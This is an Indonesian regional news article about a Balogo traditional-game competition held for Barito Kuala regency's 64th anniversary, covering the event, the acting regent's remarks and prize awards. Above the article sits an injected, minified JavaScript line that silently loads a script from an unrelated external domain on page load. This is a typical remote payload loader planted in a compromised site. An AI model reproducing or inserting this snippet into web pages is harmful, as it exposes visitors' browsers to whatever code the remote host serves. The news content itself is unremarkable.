(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pertandingan Balogo Meriahkan Perayaan Hari Jadi Kabupaten Barito Kuala ke-64

KANALKALIMANTAN.COM, MARABAHAN- Gor Setara Marabahan dipadati oleh peserta permainan Balogo dari berbagai daerah pada Minggu (28/01/24) pagi, sebagai bagian dari rangkaian perayaan hari jadi Kabupaten Barito Kuala yang ke-64 tahun.

Balogo, permainan tradisional khas Kalimantan, menjadi pusat perhatian baik anak-anak maupun orang dewasa. Logo-logonya yang terbuat dari tempurung kelapa memiliki berbagai bentuk, mulai dari segitiga, layang-layang, daun, hingga bundar.

Lomba Balogo ini, yang biasanya dilakukan dalam format satu lawan satu atau tim, menjadi agenda rutin yang diselenggarakan oleh Kabupaten Barito Kuala setiap tahunnya sebagai upaya untuk mempertahankan kearifan lokal dalam permainan tradisional.

Acara ini dibuka secara resmi oleh Pj. Bupati Barito Kuala Mujiyat, yang diwakili oleh Sekretaris Daerah H. Zulkipli Yadi Noor. Dalam sambutan tertulisnya, Mujiyat menyampaikan, “Sebagai bangsa yang kaya akan khasanah budaya, sudah sepatutnya kita berbangga karena di dalam permainan Balogo memiliki kekhasan tersendiri serta bukan hanya permainan semata tapi ada nilai-nilai kebersamaan didalamnya.”

Pj. Bupati Mujiyat juga menegaskan harapannya kepada Dinas terkait dan Komite Olahraga Rekreasi Masyarakat Indonesia (KORMI) Barito Kuala untuk melihat berbagai permainan tradisional yang dilombakan sebagai peluang pariwisata di Kabupaten Batola yang dapat dikembangkan lebih lanjut.

Selain itu, dalam acara tersebut juga dilakukan penyerahan hadiah dan piala penghargaan kepada para juara lomba tarik tambang, egrang, sumpit, dan bakiak.(www.kanalkalimantan.com/hms)

Editor: rdy